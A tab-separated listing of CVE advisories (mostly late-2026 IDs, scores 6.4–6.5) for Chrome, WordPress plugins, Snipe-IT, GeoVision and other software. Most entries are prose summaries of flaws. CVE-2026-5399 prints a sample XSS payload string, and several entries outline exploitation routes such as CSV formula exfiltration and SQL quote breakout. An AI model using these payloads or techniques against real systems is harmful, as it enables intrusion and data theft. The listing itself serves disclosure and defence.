CVE-2026-78481	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Hard-coded Cryptographic Key vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to protection mechanism bypass.	6.5	More Details
CVE-2026-87809	Siyuan before v3.8.2 fails to apply publish-access filtering to embedded blocks before rendering in the /api/export/preview and /api/lute/copyStdMarkdown endpoints. Attackers with reader access can retrieve the full rendered content of private, hidden, or publish-disabled blocks by accessing public documents containing embed queries that select those blocks.	6.5	More Details
CVE-2026-87483	Incorrect authorization in Browser in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-77161	The Smart Marketing SMS and Newsletters Forms plugin for WordPress is vulnerable to generic SQL Injection via Parameter Name in all versions up to, and including, 5.1.24 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires the plugin's sync feature to be enabled (options['enabled']) and get_option('egoi_mapping') to be truthy, both of which reflect ordinary configured states for the plugin's core contact mapping functionality.	6.5	More Details
CVE-2026-54054	Transmute is a free, open-source, self-hosted file conversion and compression tool. Prior to version 1.3.0, Transmute's URL import endpoint, `POST /api/files/url`, is vulnerable to Server-Side Request Forgery (SSRF). The HTTP downloader used by this endpoint fetches user-supplied URLs with redirects enabled and does not validate whether the target resolves to a public, external address. As a result, an authenticated user (or guest user if they are enabled) may be able to cause the Transmute server to make HTTP requests to internal or cloud-local resources from the server's network position. Because downloaded content is stored and can later be retrieved through `GET /api/files/{id}`, this issue can result in full-read SSRF rather than blind SSRF. This is fixed in version 1.3.0.	6.5	More Details
CVE-2026-79522	An out-of-bounds read in the gf_dm_get_chunk_data function (src/utils/downloader.c) of GPAC v26.07.0 allows attackers to cause a Denial of Service (DoS) via sending a crafted HTTP request. Fixed in 2fd5a06ab226767900fd86edb5a1e8bfc1010640.	6.5	More Details
CVE-2026-87478	Observable discrepancy in Autofill in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)	6.5	More Details
	The MPG – Multiple Page Generator, Bulk Landing Pages & Programmatic SEO plugin for WordPress is vulnerable to generic SQL Injection via URL Path in all versions up to, and including, 4.2.1 due to insufficient		

CVE-2026-85198	escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This is only exploitable when the [mpg_spintax] shortcode is rendered in site-wide content such as a footer or template part, as the vulnerable code path is only reached when the shortcode is active on the requested page.	6.5	More Details
CVE-2026-87473	Incorrect authorization in FileHandling in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Low)	6.5	More Details
CVE-2026-79514	An out-of-bounds read in the gf_dm_data_received function (downloader.c) of GPAC v26.07.0 allows attackers to cause a Denial of Service (DoS) via sending a crafted HTTP request. Fixed in 2fd5a06ab226767900fd86edb5a1e8bfc1010640.	6.5	More Details
CVE-2026-87818	GitPython 3.1.59 fails to restrict the --no-index option in the high-level diff API, allowing attackers to read arbitrary filesystem paths as repository operands. Attackers can combine --no-index with -I/--ignore-matching-lines to create a content-dependent Boolean oracle, repeatedly querying local files to recover single-line secrets through distinguishable success or error responses.	6.5	More Details
CVE-2026-11496	The Woo PDF Invoice Builder plugin (also distributed as "PDF Builder for WooCommerce") for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.0.8. This is due to the InspectOrder() AJAX handler (woocommerce-pdf-invoice-ajax.php:513), registered on wp_ajax_rednao_wcpdfinv_inspect_order, performing no capability check and no nonce verification before loading an arbitrary order by the attacker-supplied 'OrderNumber' POST field and serializing its full WC_Order::get_data() and meta to the response. This makes it possible for authenticated attackers with Subscriber-level access and above to read every WooCommerce order on the site — including billing/shipping address, email, phone number, payment method, gateway transaction ID, and order totals — by iterating order IDs.	6.5	More Details
CVE-2026-38998	A use-after-free in the SocketDescriptor::tcpReadHandler1 function (liveMedia/RTPInterface.cpp) of LIVE555 Streaming Media (version 2026.02.26) allows attackers to cause a Denial of Service (DoS) via sending a series of crafted RTSP and HTTP requests to the server.	6.5	More Details
CVE-2026-87454	Information leak in Enterprise in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-80177	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to script injection.	6.5	More Details
CVE-2026-9336	IBM WebSphere Application Server 9.0, and 8.5 is vulnerable to a denial of service, caused by sending a specially-crafted HTTP request to an administrative endpoint. A remote attacker could exploit this vulnerability to cause the server to exhaust filesystem space.	6.5	More Details
CVE-2026-75861	The Ultimate Gift Cards for WooCommerce WordPress plugin before 3.2.10 does not verify that the user redeeming a gift card is its intended recipient, allowing any authenticated user, such as a subscriber, to redeem gift cards belonging to other users, zeroing their balance and crediting the value to themselves. In 3.2.9 an ownership check was added on one of the two affected redemption paths; the one that remains requires a companion Ultimate Gift Cards for WooCommerce WordPress plugin before 3.2.10 from the same vendor to be active.	6.5	More Details
CVE-2026-87459	Observable discrepancy in Select in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)	6.5	More Details
CVE-2026-54258	ZoneMinder is a free, open source closed-circuit television software application. Versions prior to 1.36.39, 1.38.4, and 1.39.11 allow an authenticated low-privileged user with coarse `Events=View` and/or `Snapshots=View` permissions to directly fetch media for events belonging to monitors they are not allowed to access. The normal UI correctly hides the restricted monitor and its events, but direct event media views accept an arbitrary `eid` and stream media from the event path without enforcing the event/monitor-level ACL. This exposes private surveillance footage across monitor boundaries. Versions 1.36.39, 1.38.4, and 1.39.11 fix the issue.	6.5	More Details
CVE-2026-87490	Information leak in Transactions Platform in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)	6.5	More Details
	Doco-CD is a GitOps continuous delivery tool that automatically deploys and updates Docker Compose projects/services and Swarm stacks. Prior to version 0.90.1, a trust-boundary flaw in OCI artifact verification		

CVE-2026-54248	allowed artifact-provided deployment config to influence the policy used to verify that same artifact. When global OCI signature verification was enabled via `OCI_TRUST_POLICY` (`enabled: true`), an attacker with write access to the configured OCI tag could publish an unsigned or improperly signed artifact containing `.doco-cd.yml` with `oci.verify: false`. This could cause signature verification to be bypassed and untrusted deployment content to be applied. This primarily impacts users deploying from OCI artifacts where deployment config is read from artifact contents (for example, poll/webhook flows without trusted inline deployment overrides). The issue is fixed by enforcing a strict trust boundary and no-downgrade behavior. First, artifact-contained `.doco-cd.yml` is treated as untrusted for OCI trust-policy override decisions. Second, if global `OCI_TRUST_POLICY.enabled` is `true`, per-deployment `oci.verify: false` cannot disable verification. Some workarounds are available. Do not source deployment config from untrusted OCI artifact contents. Use trusted inline `POLL_CONFIG.deployments` and avoid relying on artifact-contained trust-policy overrides. Restrict write/push permissions for OCI repositories/tags used by doco-cd. Prefer immutable digest pinning and protected release/tag workflows. Monitor for unexpected artifact digest changes and failed/suspicious verification events.	6.5	More Details
CVE-2026-87468	Incorrect authorization in Isolated in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-15439	The GamiPress plugin for WordPress is vulnerable to authenticated (Subscriber+) SQL Injection via the 'q' parameter of the wpForo integration AJAX selector (action gamipress_wpforo_get_posts) in versions up to, and including, 7.9.7. The value is passed only through $wpdb->esc_like() and interpolated directly into a single-quoted LIKE clause with no %s placeholder. Because esc_like() runs after WordPress core magic quotes, it doubles the injected backslash (\' -> \\'), which MySQL reads as one literal backslash followed by a live closing quote, allowing the attacker to break out of the string and inject boolean-based SQL. The wpForo plugin only needs to be active to register the callback; no wpForo vulnerability is used. Requires a Subscriber account, which can read the gamipress_admin nonce (exposed on every admin page, e.g. /wp-admin/profile.php). Note: the researcher's Simple:Press vectors (PoC 2 & 3) do not reproduce in current code, which uses $wpdb->prepare() with %s placeholders; only the wpForo selector is confirmed.	6.5	More Details
CVE-2026-50018	Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use `http.DefaultClient` without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on `http.DefaultClient.Do()`. An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint. Version 1.12.8 patches the issue.	6.5	More Details
CVE-2026-73788	A vulnerability in the ClearPass OnGuard agent could allow an authenticated remote attacker to elevate their own privileges on a vulnerable ClearPass OnGuard deployment. Successful exploitation could allow an attacker to obtain root privileges, leading to potentially unauthorized operation of the vulnerable system.	6.5	More Details
CVE-2026-89012	Dolibarr 24.0.0 before 24.0.1 contains a case-sensitive denylist bypass vulnerability in the sqlfilters API query parameter that allows authenticated attackers to recover protected database fields by supplying uppercase variants of denylist-protected field names. Attackers can exploit the case-insensitive database column resolution against the case-sensitive denylist check in the core library to use prefix-matching predicates as a boolean oracle and extract full password hashes for any user account, including administrators.	6.5	More Details
CVE-2026-79590	A NULL pointer dereference vulnerability exists in the Prism parser component of mruby 4.0.0. An attacker can provide a specially crafted Ruby source file that triggers the parser to pass a NULL pointer to nonnull string handling functions, resulting in undefined behavior and application crash.	6.5	More Details
CVE-2026-88770	A flaw was found in the Device Authorization Grant flow of Keycloak, an identity and access management solution. The issue occurs because the token redemption process fails to check if a user account is currently locked due to brute-force protection. If an attacker has an active session for a locked account, they can complete the device login process and receive new security tokens. This allows the attacker to maintain access to the account even when it should be temporarily disabled to prevent unauthorized entry.	6.5	More Details
CVE-2024-58380	PocketMine-MP versions before 5.11.2 contain a denial of service vulnerability in BookEditPacket handling that crashes the server when an invalid inventory slot value is provided. Attackers can send a crafted BookEditPacket with an inventory slot greater than 35 to trigger an unhandled exception and crash the server.	6.5	More Details
CVE-2026-87724	Tor before 0.4.9.12 interprets the CC_RESPONSE extension even when CC_REQUEST was not sent, which allows remote attackers to cause a denial of service (crash) because of corrupted congestion-control state. This is TROVE-2026-032.	6.5	More Details
CVE-2026-86758	Snipe-IT before 8.7.0 fails to properly enforce the viewKeys authorization gate in CSV export and API index endpoints, allowing authenticated users with only licenses.view permission to access product keys. Attackers can download all license keys in bulk via CSV export or validate candidate keys through API response discrepancies without needing the viewKeys permission.	6.5	More Details

CVE-2026-86757	Snipe-IT before 8.7.0 fails to properly gate access to encrypted custom-field values in asset form templates for listbox, textarea, markdown-textarea, and date/datetime picker elements. Authenticated users with assets.edit, assets.checkin, assets.checkout, or assets.audit permissions can read plaintext encrypted custom field values by opening asset forms, bypassing the assets.view.encrypted_custom_fields permission check.	6.5	More Details
CVE-2026-87626	Incorrect authorization in DeviceBoundSessionCredentials in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass web origin policy via crafted network traffic. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-87627	Interpretation conflict in Safebrowsing in Google Chrome on on Mac prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted file. (Chromium security severity: Low)	6.5	More Details
CVE-2026-87629	Incorrect authorization in Sources in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to leak sensitive information via a crafted HTML page. (Chromium security severity: Low)	6.5	More Details
CVE-2026-87631	Missing authorization in DOM in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially leak sensitive information via a crafted HTML page. (Chromium security severity: Low)	6.5	More Details
CVE-2026-86745	Snipe-IT is an IT asset management application. In Snipe-IT master-branch builds after 8.6.3 (the code was never included in a tagged release), SettingsController::downloadLocationScopingReport streams the FMCS location-scoping mismatch report (GET /admin/settings/location-scoping-report.csv) through a bare fputcsv() call without applying League\Csv\EscapeFormula, unlike the other CSV exports which honor config('app.escape_formulas'). An authenticated user with ordinary create/edit rights can place a spreadsheet formula in free-text fields that appear in the report (item name, asset tag, serial, item or location company name, location name) and arrange for the record to be FMCS-mismatched so it is included in the export. When a superuser downloads the report and opens it in Excel, LibreOffice Calc, or Google Sheets with formula evaluation enabled and external-content warnings dismissed or disabled, cells beginning with =, +, -, @, tab, or CR are executed in the victim's spreadsheet context, enabling data exfiltration (e.g., HYPERLINK/WEBSERVICE) or, on Windows Excel, legacy DDE command execution. This issue is fixed in version 8.7.0.	6.5	More Details
CVE-2026-86742	Snipe-IT through 8.6.3 does not neutralize formula elements in the "unaccepted assets" acceptance report CSV export. ReportsController::postAssetAcceptanceReport builds the CSV by hand (stripping commas and joining rows manually) and, unlike the six sibling exports in the same controller, never applies League\Csv\EscapeFormula or honors the config('app.escape_formulas') setting. An authenticated low-privilege user with ordinary create/edit rights on any record whose free-text fields appear in the report (asset name/tag, company name, category, model, or assignee display name) can set such a field to a value beginning with =, +, -, @, tab, or CR. When a user with reports.view privileges requests the export (POST /reports/unaccepted_assets) for a pending checkout acceptance referencing the poisoned record and opens the resulting CSV in Excel, LibreOffice Calc, or Google Sheets, the injected content is evaluated as a formula in the downloader's spreadsheet context, enabling data exfiltration (e.g., HYPERLINK/WEBSERVICE) or, on legacy Windows Excel configurations, DDE command execution. Fixed in 8.7.0.	6.5	More Details
CVE-2026-86204	PocketMine-MP versions before 5.39.2 fail to limit JSON payload size in ModalFormResponsePacket handling, allowing authenticated players to cause denial of service. Attackers can send modal form response packets with massive JSON arrays to exhaust server memory and CPU resources, rendering the server unresponsive.	6.5	More Details
CVE-2026-87541	Information leak in Navigation in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-87620	Observable discrepancy in SVG in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)	6.5	More Details
CVE-2026-75880	An authenticated client could attach a consumer with a selector containing crafted wildcard usage that results in excessive evaluation during message delivery attempts, occupying a shared broker thread and leading to denial of service. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ Artemis: from 1.0.0 through 2.44.0. Users are recommended to upgrade to version 2.57.0, which fixes this issue.	6.5	More Details
CVE-2026-57822	When the broker is processing message-based management requests, sent by an authenticated messaging client that is authorized with MANAGE permission to perform management-via-messaging, the parameter processing can trigger Java deserialization of certain method parameters that the broker will not utilise. The permitted types allow to craft a payload causing excessive computation and pinning the processing thread, leading to denial of service. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ Artemis: from 1.3.0 through 2.44.0. Users are recommended to upgrade to version 2.57.0, which fixes the issue.	6.5	More Details

CVE-2026-66632	Unauthenticated Content Injection in Simple Cloudflare Turnstile <= 1.42.1 versions.	6.5	More Details
CVE-2026-78536	Unauthenticated Broken Access Control in Robokassa payment gateway for Woocommerce <= 1.8.9 versions.	6.5	More Details
CVE-2026-81275	Subscriber Arbitrary File Download in Youzify <= 1.3.7 versions.	6.5	More Details
CVE-2026-81782	Subscriber Cross Site Scripting (XSS) in WP Docs <= 2.3.1 versions.	6.5	More Details
CVE-2026-81785	Unauthenticated Broken Access Control in BuddyForms <= 2.9.0 versions.	6.5	More Details
CVE-2026-87535	Information loss or omission in Safebrowsing in Google Chrome on on Mac prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-81787	Unauthenticated Broken Authentication in IMPress for IDX Broker <= 3.3.0 versions.	6.5	More Details
CVE-2026-87623	Observable discrepancy in DOM in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-87545	Information leak in Mobile in Google Chrome on on iOS prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to leak sensitive information via a crafted HTML page. (Chromium security severity: Low)	6.5	More Details
CVE-2026-81793	Unauthenticated Broken Access Control in Salon booking system <= 10.31.5 versions.	6.5	More Details
CVE-2026-87589	Incorrect authorization in SiteIsolation in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-87565	Information leak in Passwords in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker to leak sensitive information via a crafted HTML page. (Chromium security severity: Low)	6.5	More Details
CVE-2026-88268	GeoVision GV-LPC2211 V1.13 contains an authenticated stack buffer overflow in SSVR fragment reassembly that allows a valid user to crash the SSVR service.	6.5	More Details
CVE-2026-88269	GeoVision GV-LPC2211 V1.13 allows a Guest user to retrieve persistent device configuration containing plaintext administrative and user credentials through SSVR.	6.5	More Details
CVE-2026-88270	GeoVision GV-LPC2211 V1.13 allows a Guest user to enter SSVR firmware-upgrade mode and disrupt live services before any firmware image is validated.	6.5	More Details
CVE-2026-19840	The Notiqoo WordPress plugin before 1.4.14 does not have capability checks on several of its AJAX actions and builds the name of the option to write from user input, allowing users with a role as low as contributor to modify arbitrary WordPress options, which can be used to deactivate Notiqoo WordPress plugin before 1.4.14 and to lock every administrator out of the site.	6.5	More Details
CVE-2026-87580	Incorrect authorization in WebAppInstalls in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-90596	A weakness has been identified in embedded-graphics up to 0.8.2 on 32-bit. Impacted is the function ImageRaw::new/bytes_per_row of the file src/image/image_raw.rs. This manipulation causes integer overflow. The attack is possible to be carried out remotely. Upgrading the affected component is recommended. The project was informed of the problem early through an issue report but has not responded yet.	6.5	More Details

CVE-2026-87584	Incorrect authorization in WebUI in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions into a privileged page via a crafted HTML page. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-88288	GeoVision GV-LPC2211 V1.13 fails to restrict the filename supplied to BKDownloadLink.cgi, allowing a remote user with valid web credentials to read arbitrary files accessible to the root-run web service.	6.5	More Details
CVE-2026-90555	vLLM versions before 0.28.0 fail to validate audio sample rate headers in the transcription endpoint, allowing authenticated clients to bypass duration checks. Attackers can submit forged FLAC headers with inflated sample rates to trigger excessive memory allocation and crash the API server process affecting all tenants.	6.5	More Details
CVE-2026-86764	Snipe-IT through 8.6.4 (fixed in 8.7.0) does not enforce the components.view permission on the authenticated endpoint GET /api/v1/hardware/<asset-id>/assigned/components. The endpoint authorizes only assets.view on the parent asset before returning linked component details; the components.view check is applied only to the response's available_actions.view flag and not to the returned data. As a result, an authenticated user holding only assets.view can enumerate component IDs, names, assigned quantities, and notes that are otherwise protected — the direct GET /api/v1/components/<id> endpoint correctly returns 403 Forbidden for such users.	6.5	More Details
CVE-2026-87591	Incorrect authorization in Extensions in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions via a crafted Chrome extension. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-87593	Information leak in Editing in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)	6.5	More Details
CVE-2026-87600	Improper input validation in Safebrowsing in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-84828	A flaw was found in PCS (Pacemaker Configuration System). A local attacker with membership in the 'haclient' group can exploit the 'pcs host auth --token' command to read the contents of arbitrary files on the filesystem, provided the files are shorter than 256 bytes. The file contents are read with root privileges by the pcsd daemon and can be exfiltrated by the attacker through subsequent cluster node communication. This allows disclosure of sensitive data such as API keys, tokens, or configuration secrets that would otherwise be inaccessible to the attacker.	6.5	More Details
CVE-2026-87603	Missing authorization in FileSystem in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-87549	Incomplete cleanup in Downloads in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-87610	Incorrect authorization in Omnibox in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions into a privileged page via a crafted HTML page. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-86766	Snipe-IT versions up to and including 8.6.3 contain a race condition (TOCTOU) in the consumable checkout API endpoint (POST /api/v1/consumables/{consumable_id}/checkout). The requested quantity is validated against the number of remaining units before the database transaction begins, and the transaction then creates the checkout records without locking the consumable row or re-checking availability. An authenticated user with permission to check out consumables can submit concurrent checkout requests for the same consumable so that both requests pass the availability check and succeed, over-allocating stock and driving the remaining inventory negative (e.g., a consumable with 1 remaining unit ends at -1 after two concurrent 1-unit checkouts). The issue is fixed in 8.7.0, which re-fetches the parent row under lockForUpdate inside the transaction and re-validates availability.	6.5	More Details
CVE-2026-86765	Snipe-IT versions before 8.7.0 fail to enforce checkout authorization when assignment fields are submitted to the asset update endpoint. Authenticated users with edit permission but explicitly denied checkout permission can reassign assets, bypass check-in procedures, and alter custody records by submitting assigned_user, assigned_asset, or assigned_location parameters to PATCH /api/v1/hardware/{id}.	6.5	More Details
CVE-2026-81791	Subscriber Cross Site Scripting (XSS) in EventON <= 2.5.7 versions.	6.5	More Details
CVE-2026-	The Rox Appointment Booking WordPress plugin before 1.2.0 does not perform any capability or authorization check when saving its holiday schedule, allowing unauthenticated attackers to overwrite the dates the	6.5	More

87891	booking system treats as unavailable, which can block legitimate bookings or open dates the site owner intended to keep closed.		Details
CVE-2026-85310	import_contacts Path Traversal in Groundhogg <= 4.7.1 versions.	6.5	More Details
CVE-2026-87073	Tanium addressed an improper access controls vulnerability in Comply.	6.5	More Details
CVE-2025-71417	PocketMine-MP before 5.32.1 fails to validate uniqueness of pack UUIDs in ResourcePackClientResponsePacket STATUS_SEND_PACKS handling, allowing authenticated clients to trigger duplicate pack transmissions. Attackers can send multiple copies of valid pack UUIDs in a single packet to exhaust server memory and cause denial of service.	6.5	More Details
CVE-2026-88005	Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.8.0 until 0.9.0, Open WebUI's OAuth token exchange endpoint issues a session for a provider access token without applying the email domain allowlist that the normal OAuth login callback enforces. An account whose email domain the login callback would refuse could still obtain a working session through this endpoint. This issue is fixed in version 0.9.0.	6.5	More Details
CVE-2026-88938	knowns through 0.33.0 fails to confine the path argument of the code.find MCP tool to the project root, allowing AI agent sessions to read source files anywhere on the host. Attackers can supply absolute paths or relative traversal sequences to the path argument and retrieve full file contents from outside the intended project directory.	6.5	More Details
CVE-2026-87924	A security vulnerability has been detected in Rizwan17 inventory-management-system up to bfe78a330d01bb26b9daec5dc9ecd5c77900e03f. This affects an unknown part of the file includes/invoice_bill.php of the component Invoice Generation. Such manipulation of the argument order_date/invoice_no leads to missing authentication. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.	6.5	More Details
CVE-2026-87519	Incorrect authorization in Safebrowsing in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Low)	6.5	More Details
CVE-2026-87515	Incorrect authorization in FileAPI in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-81330	The C6 ear camera transmits live video to the EarVision Android application over unencrypted UDP streams. The application manifest permits cleartext traffic, and captured network traffic contains reconstructable JPEG or WEBP video frames transmitted over UDP. An attacker within local wireless range may capture and reconstruct the live video stream without transport encryption.	6.5	More Details
CVE-2026-87522	Missing authorization in WebView in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to potentially bypass system access restrictions via crafted network traffic. (Chromium security severity: Low)	6.5	More Details
CVE-2026-88006	Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.8.0 until 0.11.1, Open WebUI's OAuth token exchange endpoint issues a session for a provider access token without running the OAuth role management that the normal OAuth login callback runs. A user whose provider roles the login callback would refuse, or would demote, could still obtain a working session at their existing role through this endpoint. This issue is fixed in version 0.11.1.	6.5	More Details
CVE-2026-87532	Improper state validation in Safebrowsing in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-87513	Missing authorization in ControlledFrame in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-88898	AppFlowy-Cloud versions 0.7.2 through 0.9.64 fail to authorize callers against the workspace in the bulk publish endpoint path, allowing authenticated users to publish content into other tenants' namespaces. Attackers can write published views with attacker-controlled title, body and metadata into victim workspaces to deface public pages or host phishing content on trusted URLs.	6.5	More Details
CVE-	The WP Crowdfunding plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'first_name' parameter in all versions up to, and including, 2.2.1 due to insufficient input sanitization and output escaping.		

2026-19945	This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. An administrator viewing any user's profile via the ?show_user_id= parameter will render the attacker's stored payload in the admin's browser session, enabling cross-privilege script execution.	6.4	More Details
CVE-2026-86746	Snipe-IT before 8.7.0 contains an authorization bypass vulnerability in Livewire components that enforce authorization only at the route level, not within component lifecycle methods. Attackers with a valid authenticated session can replay signed component snapshots via POST /livewire/update to invoke protected methods and escalate privileges, including creating OAuth clients, minting personal access tokens, and accessing sensitive admin data.	6.4	More Details
CVE-2026-5399	The Redux Framework plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Slider field in User Profile settings in versions up to and including 4.5.13.1. This is due to insufficient input sanitization in the user_meta_save() function (which only sanitizes array values, not scalar values) and improper output escaping in the Redux_Slider::render() method, which outputs slider values into unquoted HTML attributes. The vulnerability also exploits the fact that the clean_default() method only casts values to numeric types when they are empty or out of bounds, allowing malicious strings like '1 tabindex=0 autofocus onfocus=alert(1) x=' to pass validation through PHP's loose type comparison. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts into their user profile that will execute whenever an Administrator navigates to view the attacker's profile page.	6.4	More Details
CVE-2026-79974	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Authentication vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.	6.4	More Details
CVE-2026-6642	The Media Library Assistant plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the bulk edit preset export/import mechanism in versions up to and including 3.35. This is due to insufficient output escaping on preset field values when they are rendered in HTML attribute contexts in the mla_generate_bulk_edit_form_fieldsets() function and mla-bulk-edit-fieldsets.tpl template. While wp_kses() filtering is applied during preset export for users without unfiltered_html capability, this does not prevent attribute injection attacks since the malicious payload consists of quotes and HTML attributes rather than HTML tags. When preset values are retrieved and rendered, they are directly assigned to template variables without esc_attr() escaping and then inserted into input element value attributes via simple string replacement. This makes it possible for authenticated attackers, with Author-level access and above (upload_files capability), to inject arbitrary web scripts that execute when an administrator imports the poisoned preset and the targeted input field receives focus.	6.4	More Details
CVE-2026-6641	The Media Library Assistant plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'mla_gallery' shortcode in versions up to and including 3.35. This is due to insufficient input sanitization and output escaping on the mla_link_href parameter when mla_output is set to 'paginate_links', where the _paginate_links() function processes the value through mla_process_shortcode_parameter() and _replace_query_parameter() without proper URL escaping, then outputs it directly in href attributes without applying esc_url(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-87870	The Ninja Forms - Scheduled Exports plugin for WordPress is vulnerable to Stored Cross-Site Scripting via REST API Parameters (interval, format, emailTo) in all versions up to, and including, 3.0.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level privileges and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The REST endpoint is registered without a permission_callback and only validates a nonce without checking user capabilities.	6.4	More Details
CVE-2026-6640	The Media Library Assistant plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'mla_link_attributes' parameter in all versions up to, and including, 3.35 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-7438	The Bold Timeline Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `supertitle` and `subtitle` attributes of the `bold_timeline_item` shortcode in all versions up to, and including, 1.2.8 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
